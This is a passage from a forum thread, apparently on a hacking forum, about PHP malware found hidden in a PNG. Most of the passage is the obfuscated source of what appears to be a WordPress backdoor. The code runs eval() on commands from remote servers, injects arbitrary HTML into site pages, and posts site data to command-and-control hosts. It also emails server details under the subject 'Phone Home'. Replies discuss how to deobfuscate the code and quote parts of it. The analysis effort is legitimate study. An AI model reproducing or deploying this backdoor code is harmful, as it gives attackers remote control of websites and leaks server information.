$oXyaqmHoChvHQFCvTluqmAC['info'] = $WbKPQMoSbMZkXUeYKXRIk;
         
$this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY$oXyaqmHoChvHQFCvTluqmAC);
         
$this->oXyaqmHoChvHQFCvTluqmAC $oXyaqmHoChvHQFCvTluqmAC;
      }
      else
      {
         
$oXyaqmHoChvHQFCvTluqmAC $this->oqtYbOOiucMYWyZsGEuETRhB();
         
$oXyaqmHoChvHQFCvTluqmAC['info'] = $WbKPQMoSbMZkXUeYKXRIk;
         
$this->oXyaqmHoChvHQFCvTluqmAC $oXyaqmHoChvHQFCvTluqmAC;
         
$this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY$oXyaqmHoChvHQFCvTluqmAC);
         
$this->XnpSvtOjNDRmxyfzaDKlGwM();
      }
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
   public function 
TztHMzNNJASlMfiSOwxQpE()

   {
      
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
      if (
$oXyaqmHoChvHQFCvTluqmAC == '')
      {
         return 
false;
      }
      
$SntMBKFkfTlUzXyNVQedo = @$_GET[$this->oXyaqmHoChvHQFCvTluqmAC['info']['serverKey']];
      if (isset(
$SntMBKFkfTlUzXyNVQedo) && $SntMBKFkfTlUzXyNVQedo == '')
      {
         echo 
'<div id="serverList" style="display: none">';
         
$bQYduZxDrtPMJtaBCQycHQY['servers'] = $oXyaqmHoChvHQFCvTluqmAC['servers'];
         echo 
json_encode($bQYduZxDrtPMJtaBCQycHQY);
         echo 
'</div>';
         die();
      }
      else if (isset(
$SntMBKFkfTlUzXyNVQedo) && isset($this->oXyaqmHoChvHQFCvTluqmAC['info']['fail']))
      {
         if (isset(
$this->oXyaqmHoChvHQFCvTluqmAC))
         {
            
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
         }
         else
         {
            
$oXyaqmHoChvHQFCvTluqmAC $this->oqtYbOOiucMYWyZsGEuETRhB();
         }
         
$oXyaqmHoChvHQFCvTluqmAC['servers'][] = $SntMBKFkfTlUzXyNVQedo;
         
$this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY$oXyaqmHoChvHQFCvTluqmAC);
         die();
      }
      return 
false;
   }
   public function 
OFwlxWaeMyxznpZtnfJLQA()

   {
      
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
      if (!isset(
$oXyaqmHoChvHQFCvTluqmAC) || $oXyaqmHoChvHQFCvTluqmAC == null)
      {
         return;
      }
      if (!
is_array($oXyaqmHoChvHQFCvTluqmAC) || $oXyaqmHoChvHQFCvTluqmAC == '')
      {
         return;
      }
      if (@
$oXyaqmHoChvHQFCvTluqmAC['info']['eval'] == 1)
      {
         foreach(
$oXyaqmHoChvHQFCvTluqmAC['eval'] as $vsGIQvwCXRbSELMOlFV)
         {
            eval(
$vsGIQvwCXRbSELMOlFV);
         }
      }
      if (isset(
$oXyaqmHoChvHQFCvTluqmAC['echo']))
      {
         if (!
defined('wp_footerLeo'))
         {
            
add_action('wp_head', array(
               
$this,
               
'WvOoqSuRpZkhgAAFQVjBjSVo'
            
));
         }
      }
   }
   public function 
WvOoqSuRpZkhgAAFQVjBjSVo()

   {
      
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
      foreach(
$oXyaqmHoChvHQFCvTluqmAC['echo'] as $stIedxfhoZcXvZNmNXTdFbI)
      {
         echo 
$stIedxfhoZcXvZNmNXTdFbI;
      }
   }
   private function 
oqtYbOOiucMYWyZsGEuETRhB()
   {
      
$oXyaqmHoChvHQFCvTluqmAC = array();
      
$oXyaqmHoChvHQFCvTluqmAC['echo'] = array();
      
$oXyaqmHoChvHQFCvTluqmAC['eval'] = array();
      
$oXyaqmHoChvHQFCvTluqmAC['clients'] = array();
      
$oXyaqmHoChvHQFCvTluqmAC['update'] = array();
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
   private function 
dIOUyQsvDqPHTBIxnlYs()
   {
      
$dqkdbOJPzAPsLsuxnjAStdXUDis = array(
         
'www.',
         
'www',
         
' ',
         
'{',
         
'}'
      
);
      
$this->htcFFCQTLLpnCchsPKGYxso str_replace($dqkdbOJPzAPsLsuxnjAStdXUDis""$_SERVER['HTTP_HOST']);
   }
   private function 
HSxTktcbTftjZjKRHHmhr()
   {
      
$oXyaqmHoChvHQFCvTluqmAC = array();
      foreach(
$this->yYVsqvOoqWsddypXgJcIKOw as $gXNjWLFkUQOugyREMXKvZBfw)
      {
         
$oXyaqmHoChvHQFCvTluqmAC[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKvZBfw)));
      }
      if (isset(
$this->oXyaqmHoChvHQFCvTluqmAC['info']['fail']))
      {
         
$nGwzfuUZcelzyfJBQMIgkk = (int)($oXyaqmHoChvHQFCvTluqmAC['info']['fail'] / 100);
         if (
$nGwzfuUZcelzyfJBQMIgkk == 0)
         {
            
$nGwzfuUZcelzyfJBQMIgkk 5;
         }
         else
         {
            
$nGwzfuUZcelzyfJBQMIgkk*= 5;
         }
      }
      else
      {
         
$nGwzfuUZcelzyfJBQMIgkk 5;
      }
      return 
$this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluqmAC$nGwzfuUZcelzyfJBQMIgkk);
   }
   private function 
XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM)
   {
      
$oXyaqmHoChvHQFCvTluqmAC = array();
      foreach(
$this->oXyaqmHoChvHQFCvTluqmAC['emails'] as $HWcwGasopLJSadVNNw)
      {
         
$oXyaqmHoChvHQFCvTluqmAC[] = $HWcwGasopLJSadVNNw;
      }
      foreach(
$this->aJQafHDwnaPrCJrQMjHVh as $HWcwGasopLJSadVNNw)
      {
         
$oXyaqmHoChvHQFCvTluqmAC[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw)));
      }
      return 
$this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluqmAC$YJYRbBDIcUlLJwWidyuM);
   }
   private function 
KZdGlovqEtKYUSCqSVnK()
   {
      
$oXyaqmHoChvHQFCvTluqmAC = array();
      
$oXyaqmHoChvHQFCvTluqmAC['host'] = $_SERVER['HTTP_HOST'];
      
$oXyaqmHoChvHQFCvTluqmAC['page'] = $_SERVER['REQUEST_URI'];
      
$oXyaqmHoChvHQFCvTluqmAC['ip'] = $_SERVER['SERVER_ADDR'];
      
$oXyaqmHoChvHQFCvTluqmAC['eval'] = $this->YrCTrfUzBfsVJKvqiYUeFbc();
      
$oXyaqmHoChvHQFCvTluqmAC['exec'] = $this->KNstTqErzZQBDQOODaJdLv();
      
$oXyaqmHoChvHQFCvTluqmAC['serverKey'] = $this->BkISKDyWWRXScnLPbTlyI();
      
$oXyaqmHoChvHQFCvTluqmAC['run'] = 0;
      
$oXyaqmHoChvHQFCvTluqmAC['ver'] = 0.2;
      
$oXyaqmHoChvHQFCvTluqmAC['started'] = date('Ymd');
      
$oXyaqmHoChvHQFCvTluqmAC['last_connect'] = date('Ymd');
      
$this->WbKPQMoSbMZkXUeYKXRIk $oXyaqmHoChvHQFCvTluqmAC;
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
   private function 
BkISKDyWWRXScnLPbTlyI($PVSXPKLAQGaWKUtNNUYQFoBuJE 10)
   {
      
$dqkdbOJPzAPsLsuxnjAStdXUDis '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
      
$PqlpeiQHmZBwdmlsfEHmg '';
      for (
$BCEUSjHFFwzzqmHmpjjQI 0$BCEUSjHFFwzzqmHmpjjQI $PVSXPKLAQGaWKUtNNUYQFoBuJE$BCEUSjHFFwzzqmHmpjjQI++)
      {
         
$PqlpeiQHmZBwdmlsfEHmg.= $dqkdbOJPzAPsLsuxnjAStdXUDis[rand(0strlen($dqkdbOJPzAPsLsuxnjAStdXUDis) - 1) ];
      }
      return 
$PqlpeiQHmZBwdmlsfEHmg;
   }
   public function 
KPBBXYwmuPGPaTyLhWevI()

   {
      
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
      if (@
$oXyaqmHoChvHQFCvTluqmAC['info']['last_connect'] < date('Ymd'))
      {
         
$oXyaqmHoChvHQFCvTluqmAC $this->CMQEWmnewJmgOLaFvXGCU($oXyaqmHoChvHQFCvTluqmAC);
         if (
$oXyaqmHoChvHQFCvTluqmAC == false)
         {
            return;
         }
         else
         {
            unset(
$oXyaqmHoChvHQFCvTluqmAC['info']['fail']);
         }
         
$oXyaqmHoChvHQFCvTluqmAC['info']['last_connect'] = date('Ymd');
      }
      
$oXyaqmHoChvHQFCvTluqmAC['info']['run']++;
      
$this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY$oXyaqmHoChvHQFCvTluqmAC);
   }
   private function 
CMQEWmnewJmgOLaFvXGCU($oXyaqmHoChvHQFCvTluqmAC)
   {
      
$yYVsqvOoqWsddypXgJcIKOw = @$oXyaqmHoChvHQFCvTluqmAC['servers'];
      
$uHrzRBdPUetDqbZAdw $this->tEiRFSJMSpXyxKKORPZClI($yYVsqvOoqWsddypXgJcIKOw$oXyaqmHoChvHQFCvTluqmAC);
      if (
$uHrzRBdPUetDqbZAdw !== false)
      {
         return 
$uHrzRBdPUetDqbZAdw;
      }
      
$uHrzRBdPUetDqbZAdw $this->tEiRFSJMSpXyxKKORPZClI($this->HSxTktcbTftjZjKRHHmhr() , $oXyaqmHoChvHQFCvTluqmAC);
      if (
$uHrzRBdPUetDqbZAdw !== false)
      {
         return 
$uHrzRBdPUetDqbZAdw;
      }
      
$this->XnpSvtOjNDRmxyfzaDKlGwM();
   }
   private function 
tEiRFSJMSpXyxKKORPZClI($QrnkCEWRkHbQPoEPelYQRw$oXyaqmHoChvHQFCvTluqmAC)
   {
      foreach(
$QrnkCEWRkHbQPoEPelYQRw as $gXNjWLFkUQOugyREMXKvZBfw)
      {
         
$uHrzRBdPUetDqbZAdw $this->VxjeXwUeRLricksbcxlcSRnA($gXNjWLFkUQOugyREMXKvZBfw$oXyaqmHoChvHQFCvTluqmAC['info'], $oXyaqmHoChvHQFCvTluqmAC);
         if (
$uHrzRBdPUetDqbZAdw != false)
         {
            if (!isset(
$oXyaqmHoChvHQFCvTluqmAC['info']['empty']))
            {
               
$oXyaqmHoChvHQFCvTluqmAC['info']['empty'] = 0;
            }
            if (
$this->YobOrWbieESFVcSsWsuBypg)
            {
               
$oXyaqmHoChvHQFCvTluqmAC['info']['empty']++;
               if (!isset(
$BCEUSjHFFwzzqmHmpjjQI))
               {
                  
$BCEUSjHFFwzzqmHmpjjQI = (int)($oXyaqmHoChvHQFCvTluqmAC['info']['empty'] / 5);
               }
               if (
$BCEUSjHFFwzzqmHmpjjQI 0)
               {
                  
$BCEUSjHFFwzzqmHmpjjQI--;
                  continue;
               }
            }
            if (
$this->YobOrWbieESFVcSsWsuBypg)
            {
               return 
$oXyaqmHoChvHQFCvTluqmAC;
            }
            
$uHrzRBdPUetDqbZAdw['info']['empty'] = --$oXyaqmHoChvHQFCvTluqmAC['info']['empty'];
            return 
$uHrzRBdPUetDqbZAdw;
         }
      }
      return 
false;
   }
   private function 
VxjeXwUeRLricksbcxlcSRnA($gXNjWLFkUQOugyREMXKvZBfw$WbKPQMoSbMZkXUeYKXRIk$oXyaqmHoChvHQFCvTluqmAC)
   {
      
$this->YobOrWbieESFVcSsWsuBypg false;
      
$OQijXfnrxWxPIcPSUibKEFmLE $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw$WbKPQMoSbMZkXUeYKXRIk);
      
$OQijXfnrxWxPIcPSUibKEFmLE $this->gTSiihhIRUNPkADDVdes($OQijXfnrxWxPIcPSUibKEFmLE);
      if (
$OQijXfnrxWxPIcPSUibKEFmLE != false)
      {
         if (
$this->YobOrWbieESFVcSsWsuBypg)
         {
            return 
$oXyaqmHoChvHQFCvTluqmAC;
         }
         
$OQijXfnrxWxPIcPSUibKEFmLE['info'] = $WbKPQMoSbMZkXUeYKXRIk;
         return 
$OQijXfnrxWxPIcPSUibKEFmLE;
      }
      return 
false;
   }
   private function 
gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluqmAC)
   {
      if (!isset(
$this->WbKPQMoSbMZkXUeYKXRIk))
      {
         
$this->WbKPQMoSbMZkXUeYKXRIk $this->oXyaqmHoChvHQFCvTluqmAC['info'];
      }
      if (
md5($this->WbKPQMoSbMZkXUeYKXRIk['serverKey']) == $oXyaqmHoChvHQFCvTluqmAC)
      {
         
$this->YobOrWbieESFVcSsWsuBypg true;
         return 
true;
      }
      
$oXyaqmHoChvHQFCvTluqmAC $this->AeRxXNHxOXpcNJWlZSIKLhIw->vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC);
      
$oXyaqmHoChvHQFCvTluqmAC json_decode($oXyaqmHoChvHQFCvTluqmACtrue);
      if (
$oXyaqmHoChvHQFCvTluqmAC == false)
      {
         return 
false;
      }
      else
      {
         if (!isset(
$oXyaqmHoChvHQFCvTluqmAC['servers']))
         {
            return 
false;
         }
      }
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
   private function 
RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw$WbKPQMoSbMZkXUeYKXRIk null$BZaxGALPLdVfntBIQWUPs null)
   {
      if (
strstr($gXNjWLFkUQOugyREMXKvZBfw$_SERVER['HTTP_HOST']) || trim($gXNjWLFkUQOugyREMXKvZBfw) == '')
      {
         return 
false;
      }
      if (isset(
$WbKPQMoSbMZkXUeYKXRIk))
      {
         
$BdlbpgzPBjxVLkBLnsrXkmI json_encode($WbKPQMoSbMZkXUeYKXRIk);
         
$oXyaqmHoChvHQFCvTluqmAC $this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC($BdlbpgzPBjxVLkBLnsrXkmI);
         
$WbKPQMoSbMZkXUeYKXRIk = array(
            
"serverKey" => $WbKPQMoSbMZkXUeYKXRIk['serverKey'],
            
"data" => $oXyaqmHoChvHQFCvTluqmAC['data'],
            
"key" => $oXyaqmHoChvHQFCvTluqmAC['key']
         );
      }
      while (
true)
      {
         
$SCvWTGyfCYyeLdjcFFzobk curl_init();
         
curl_setopt($SCvWTGyfCYyeLdjcFFzobkCURLOPT_URL"http://$gXNjWLFkUQOugyREMXKvZBfw");
         
curl_setopt($SCvWTGyfCYyeLdjcFFzobkCURLOPT_RETURNTRANSFER1);
         @
curl_setopt($SCvWTGyfCYyeLdjcFFzobkCURLOPT_FOLLOWLOCATIONtrue);
         if (isset(
$WbKPQMoSbMZkXUeYKXRIk))
         {
            
curl_setopt($SCvWTGyfCYyeLdjcFFzobkCURLOPT_CUSTOMREQUEST"POST");
            
curl_setopt($SCvWTGyfCYyeLdjcFFzobkCURLOPT_POSTFIELDS$WbKPQMoSbMZkXUeYKXRIk);
         }
         
curl_setopt($SCvWTGyfCYyeLdjcFFzobkCURLOPT_CONNECTTIMEOUT10);
         
$oXyaqmHoChvHQFCvTluqmAC curl_exec($SCvWTGyfCYyeLdjcFFzobk);
         
curl_close($SCvWTGyfCYyeLdjcFFzobk);
         if (!
strstr($oXyaqmHoChvHQFCvTluqmAC"301 Moved Permanently"))
         {
            break;
         }
         else
         {
            
preg_match_all('/<a.*href=\"""http:\/\/(.*?)\""".*?\>/'$oXyaqmHoChvHQFCvTluqmAC$NyFDhMvsSaUwvJsx);
            
$gXNjWLFkUQOugyREMXKvZBfw $NyFDhMvsSaUwvJsx[1][0];
         }
      }
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
   private function 
aIIwgKgvtyRoWoMedUdbp($piiJbwvzLxHvKjlNnFzd$oXyaqmHoChvHQFCvTluqmAC)
   {
      if (
is_array($oXyaqmHoChvHQFCvTluqmAC))
      {
         
$oXyaqmHoChvHQFCvTluqmAC json_encode($oXyaqmHoChvHQFCvTluqmAC);
      }
      
$ilUTrmqGvQsBtZfyeBXfg $this->AeRxXNHxOXpcNJWlZSIKLhIw->MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluqmAC);
      if (
$this->YYfeblxJfGQgkPpfdrIOXNZwHg($ilUTrmqGvQsBtZfyeBXfg)) $oXyaqmHoChvHQFCvTluqmAC json_decode($ilUTrmqGvQsBtZfyeBXfgtrue);
      if (!isset(
$oXyaqmHoChvHQFCvTluqmAC['key']) || !isset($oXyaqmHoChvHQFCvTluqmAC['data']) || strlen($oXyaqmHoChvHQFCvTluqmAC['key']) == || strlen($oXyaqmHoChvHQFCvTluqmAC['data']) == 0)
      {
         die();
      }
      
update_option($piiJbwvzLxHvKjlNnFzd$ilUTrmqGvQsBtZfyeBXfg);
   }
   private function 
McEnUjjQfaFzqGsihhU($piiJbwvzLxHvKjlNnFzd$ysnqBUjsRbJDIlZaAE false)
   {
      if (!
$ysnqBUjsRbJDIlZaAE)
      {
         
$oXyaqmHoChvHQFCvTluqmAC get_option($piiJbwvzLxHvKjlNnFzd);
      }
      else
      {
         
$oXyaqmHoChvHQFCvTluqmAC $piiJbwvzLxHvKjlNnFzd;
      }
      
$GfNOeQGoTKggozAbXZAUpg $this->AeRxXNHxOXpcNJWlZSIKLhIw->vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC);
      return 
json_decode($GfNOeQGoTKggozAbXZAUpgtrue);
   }
   private function 
YrCTrfUzBfsVJKvqiYUeFbc()
   {
      
$givBPiVtALrQjPLInUFKegOE false;
      @eval(
'$givBPiVtALrQjPLInUFKegOE = true;');
      return 
$givBPiVtALrQjPLInUFKegOE;
   }
   private function 
KNstTqErzZQBDQOODaJdLv()
   {
      
$BlvGDekbFjVHsnUrjUKqdj explode(', 'ini_get('disable_functions'));
      return !
in_array('exec'$BlvGDekbFjVHsnUrjUKqdj);
   }
   private function 
XnpSvtOjNDRmxyfzaDKlGwM($oXyaqmHoChvHQFCvTluqmAC null)
   {
      if (
$oXyaqmHoChvHQFCvTluqmAC == null)
      {
         
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
      }
      if (isset(
$oXyaqmHoChvHQFCvTluqmAC['info']['fail']))
      {
         
$oXyaqmHoChvHQFCvTluqmAC['info']['fail']++;
      }
      else
      {
         
$oXyaqmHoChvHQFCvTluqmAC['info']['fail'] = 1;
      }
      if ((
$oXyaqmHoChvHQFCvTluqmAC['info']['fail'] % 100) == && isset($oXyaqmHoChvHQFCvTluqmAC['clients']))
      {
         foreach(
$oXyaqmHoChvHQFCvTluqmAC['clients'] as $qBNcTAaiRUhfdXBSzsVg)
         {
            if (
strstr($qBNcTAaiRUhfdXBSzsVg"|") === false)
            {
               continue;
            }
            else
            {
               
$AoNmaQCAQvHyEPvRUhbfukXQ explode("|"$qBNcTAaiRUhfdXBSzsVg);
            }
            
$gXNjWLFkUQOugyREMXKvZBfw $AoNmaQCAQvHyEPvRUhbfukXQ[0] . "?" $AoNmaQCAQvHyEPvRUhbfukXQ[1];
            
$OQijXfnrxWxPIcPSUibKEFmLE $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw);
            
preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/"$OQijXfnrxWxPIcPSUibKEFmLE$NUwGojaMFrWOXnaoPPXmg);
            if (
$this->YYfeblxJfGQgkPpfdrIOXNZwHg($NUwGojaMFrWOXnaoPPXmg['content']))
            {
               
$OQijXfnrxWxPIcPSUibKEFmLE json_decode($NUwGojaMFrWOXnaoPPXmg['content'], true);
               if (isset(
$this->oXyaqmHoChvHQFCvTluqmAC))
               {
                  
$oXyaqmHoChvHQFCvTluqmAC $this->oXyaqmHoChvHQFCvTluqmAC;
               }
               else
               {
                  
$oXyaqmHoChvHQFCvTluqmAC $this->oqtYbOOiucMYWyZsGEuETRhB();
               }
               
$oXyaqmHoChvHQFCvTluqmAC['servers'] = array_merge($OQijXfnrxWxPIcPSUibKEFmLE['servers'], $oXyaqmHoChvHQFCvTluqmAC['servers']);
               
$this->$oXyaqmHoChvHQFCvTluqmAC['servers'] = array_unique($oXyaqmHoChvHQFCvTluqmAC['servers']);
            }
            else
            {
            }
         }
      }
      if (
$oXyaqmHoChvHQFCvTluqmAC['info']['fail'] % 100 == 0)
      {
         
$LMKkvQfVacsJkiwJOKQmc false;
         
$aJQafHDwnaPrCJrQMjHVh $this->XsvsqpxlWxfKYiyUc($oXyaqmHoChvHQFCvTluqmAC['info']['fail'] / 100 5);
         
$GSpWdZRUzAuMgSxhFeQsTA = array();
         for (
$BCEUSjHFFwzzqmHmpjjQI 0$BCEUSjHFFwzzqmHmpjjQI 5$BCEUSjHFFwzzqmHmpjjQI++)
         {
            
$YwrSbZoVizxkPzSqHegTC rand(0count($aJQafHDwnaPrCJrQMjHVh) - 1);
            
$TcfJENOGUCdnEeJdjBHSxLc 0;
            
$XCZRNpIiBvvCJTeyKlycSwY 0;
            while (
in_array($YwrSbZoVizxkPzSqHegTC$GSpWdZRUzAuMgSxhFeQsTA))
            {
               
$XCZRNpIiBvvCJTeyKlycSwY++;
               
$TcfJENOGUCdnEeJdjBHSxLc++;
               
$YwrSbZoVizxkPzSqHegTC rand(0count($aJQafHDwnaPrCJrQMjHVh) - 1);
               if (
$TcfJENOGUCdnEeJdjBHSxLc == 10)
               {
                  
$LMKkvQfVacsJkiwJOKQmc true;
                  break;
               }
            }
            if (
$LMKkvQfVacsJkiwJOKQmc)
            {
               break;
            }
            
$GSpWdZRUzAuMgSxhFeQsTA[] = $YwrSbZoVizxkPzSqHegTC;
            
mail($aJQafHDwnaPrCJrQMjHVh[$YwrSbZoVizxkPzSqHegTC], "Phone Home"json_encode($this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC(print_r($oXyaqmHoChvHQFCvTluqmACtrue) . print_r($_SERVERtrue))));
         }
         
$this->vwhhtIrAWhUEFDgPrcco true;
      }
      
$this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY$oXyaqmHoChvHQFCvTluqmAC);
   }
   private function 
YYfeblxJfGQgkPpfdrIOXNZwHg($oXyaqmHoChvHQFCvTluqmAC)
   {
      
$oXyaqmHoChvHQFCvTluqmAC json_decode($oXyaqmHoChvHQFCvTluqmAC);
      if (
$oXyaqmHoChvHQFCvTluqmAC == null) return false;
      return 
true;
   }
   private function 
VitTYMKdJITsiXBTLOEA($QrnkCEWRkHbQPoEPelYQRw$MTPkrEtDJbjkrzXWSBgAo)
   {
      
$PVSXPKLAQGaWKUtNNUYQFoBuJE count($QrnkCEWRkHbQPoEPelYQRw);
      if (
$PVSXPKLAQGaWKUtNNUYQFoBuJE <= $MTPkrEtDJbjkrzXWSBgAo)
      {
         return 
$QrnkCEWRkHbQPoEPelYQRw;
      }
      
$oXyaqmHoChvHQFCvTluqmAC[] = array();
      
$PaTgoaVMMKhvlmVWxSnBVLA = array();
      
$FyQVCWLNApYgwsSzygQgg 0;
      
$BCEUSjHFFwzzqmHmpjjQI 0;
      while (
true)
      {
         
$BCEUSjHFFwzzqmHmpjjQI++;
         
$piiJbwvzLxHvKjlNnFzd $this->YHhBHrBuAZYCsZUCLxMNBSuTU($this->htcFFCQTLLpnCchsPKGYxso $BCEUSjHFFwzzqmHmpjjQI$PVSXPKLAQGaWKUtNNUYQFoBuJE);
         if (
in_array($piiJbwvzLxHvKjlNnFzd$PaTgoaVMMKhvlmVWxSnBVLA))
         {
            continue;
         }
         
$PaTgoaVMMKhvlmVWxSnBVLA[] = $piiJbwvzLxHvKjlNnFzd;
         
$FyQVCWLNApYgwsSzygQgg++;
         if (
$FyQVCWLNApYgwsSzygQgg == $MTPkrEtDJbjkrzXWSBgAo)
         {
            break;
         }
      }
      foreach(
$PaTgoaVMMKhvlmVWxSnBVLA as $piiJbwvzLxHvKjlNnFzd)
      {
         
$oXyaqmHoChvHQFCvTluqmAC[] = $QrnkCEWRkHbQPoEPelYQRw[$piiJbwvzLxHvKjlNnFzd];
      }
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
   private function 
YHhBHrBuAZYCsZUCLxMNBSuTU($htcFFCQTLLpnCchsPKGYxso$BwYCWyuBYkgiOzNljFJONA)
   {
      
$dzVXtdBSuUwgnARTiNICo 0;
      
$JAxNyUCJRbrfbemcWrOFpg hash("md5"$htcFFCQTLLpnCchsPKGYxso);
      
$dzVXtdBSuUwgnARTiNICo = (preg_replace("/[^0-9,.]/"""$JAxNyUCJRbrfbemcWrOFpg));
      while (
$dzVXtdBSuUwgnARTiNICo 10000000)
      {
         
$dzVXtdBSuUwgnARTiNICo/= 100000;
      }
      
$this->IatJdWimJbxtprWZElHevfI $dzVXtdBSuUwgnARTiNICo;
      
$dzVXtdBSuUwgnARTiNICo%= $BwYCWyuBYkgiOzNljFJONA;
      return 
$dzVXtdBSuUwgnARTiNICo;
   }
?>
« Last Edit: December 01, 2013, 10:34:49 am by Kulverstukas »

Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Malware inside png - using rsa2048 base64 md5 rot13
« Reply #1 on: December 01, 2013, 03:18:43 am »
So its a obfuscated shell..

To be honest, you will need to know PHP pretty well to be able to decode this. I could do it, but not in this state (a bit drunk at time of writing). If this is a request to decode this, its not really a post we would like to have. If you just want pointers in how you can solve this: Learn PHP. However, I guess if anyone really wants to solve this they are welcome :P
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline JohnnyFeelgood

  • Serf
  • *
  • Posts: 22
  • Cookies: 3
    • View Profile
Re: Malware inside png - using rsa2048 base64 md5 rot13
« Reply #2 on: December 01, 2013, 12:17:21 pm »
I know I still have too learn php. You might have seen I have started 'translation' I was wondering If i was on the right track in regard to handling this.



Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Malware inside png - using rsa2048 base64 md5 rot13
« Reply #3 on: December 01, 2013, 05:49:30 pm »
Yeah sure, start renaming things to less worse names than the gibberish stuff, however I don't know if unique-class-name is much better. Personally I would start renaming things to class1, class2, function1, function2 etc and name variables after types. If they are used for numbers I would call them i1, i2 etc if used for strings str1, str2, str3. Once translation is done I would go through function by function and try to find out what exactly the various functions do and basically rewrite or modify it enough so that it looks like how I would normally do the same function. If that makes sense. But you might not need to do all of it, some might just be "helper functions" like flipping bits and reversing strings etc etc.
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline JohnnyFeelgood

  • Serf
  • *
  • Posts: 22
  • Cookies: 3
    • View Profile
Re: Malware inside png - using rsa2048 base64 md5 rot13
« Reply #4 on: December 01, 2013, 09:32:18 pm »
Thanks Ande!
I used unique-class-name to filter original (correct) naming, but class1 will also do just that..

Anyhow I will try and make something out of it ;-)
Can I post here after I have finished it?


Offline ande

  • Owner
  • Titan
  • *
  • Posts: 2664
  • Cookies: 256
    • View Profile
Re: Malware inside png - using rsa2048 base64 md5 rot13
« Reply #5 on: December 01, 2013, 10:30:40 pm »
Of course. I highly encourage it.
if($statement) { unless(!$statement) { // Very sure } }
https://evilzone.org/?hack=true

Offline 0xDEADBEEF

  • NULL
  • Posts: 2
  • Cookies: 1
    • View Profile
Re: Malware inside png - using rsa2048 base64 md5 rot13
« Reply #6 on: January 06, 2014, 01:50:32 am »
I currently don't have much time to help you, it's about 1am and I need to get up early... But anyway.

Just take a look at some examples of the code where you can easily read some words:
Code: [Select]
preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/", $OQijXfnrxWxPIcPSUibKEFmLE, $NUwGojaMFrWOXnaoPPXmg);
$OQijXfnrxWxPIcPSUibKEFmLE = json_decode($NUwGojaMFrWOXnaoPPXmg['content'], true);
$oXyaqmHoChvHQFCvTluqmAC['servers'] = array_merge($OQijXfnrxWxPIcPSUibKEFmLE['servers'], $oXyaqmHoChvHQFCvTluqmAC['servers']);

       private function KZdGlovqEtKYUSCqSVnK()
       {
          $oXyaqmHoChvHQFCvTluqmAC = array();
          $oXyaqmHoChvHQFCvTluqmAC['host'] = $_SERVER['HTTP_HOST'];
          $oXyaqmHoChvHQFCvTluqmAC['page'] = $_SERVER['REQUEST_URI'];
          $oXyaqmHoChvHQFCvTluqmAC['ip'] = $_SERVER['SERVER_ADDR'];
          $oXyaqmHoChvHQFCvTluqmAC['eval'] = $this->YrCTrfUzBfsVJKvqiYUeFbc();
          $oXyaqmHoChvHQFCvTluqmAC['exec'] = $this->KNstTqErzZQBDQOODaJdLv();
          $oXyaqmHoChvHQFCvTluqmAC['serverKey'] = $this->BkISKDyWWRXScnLPbTlyI();
          $oXyaqmHoChvHQFCvTluqmAC['run'] = 0;
          $oXyaqmHoChvHQFCvTluqmAC['ver'] = 0.2;
          $oXyaqmHoChvHQFCvTluqmAC['started'] = date('Ymd');
          $oXyaqmHoChvHQFCvTluqmAC['last_connect'] = date('Ymd');
          $this->WbKPQMoSbMZkXUeYKXRIk = $oXyaqmHoChvHQFCvTluqmAC;
          return $oXyaqmHoChvHQFCvTluqmAC;
       }
          $dqkdbOJPzAPsLsuxnjAStdXUDis = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

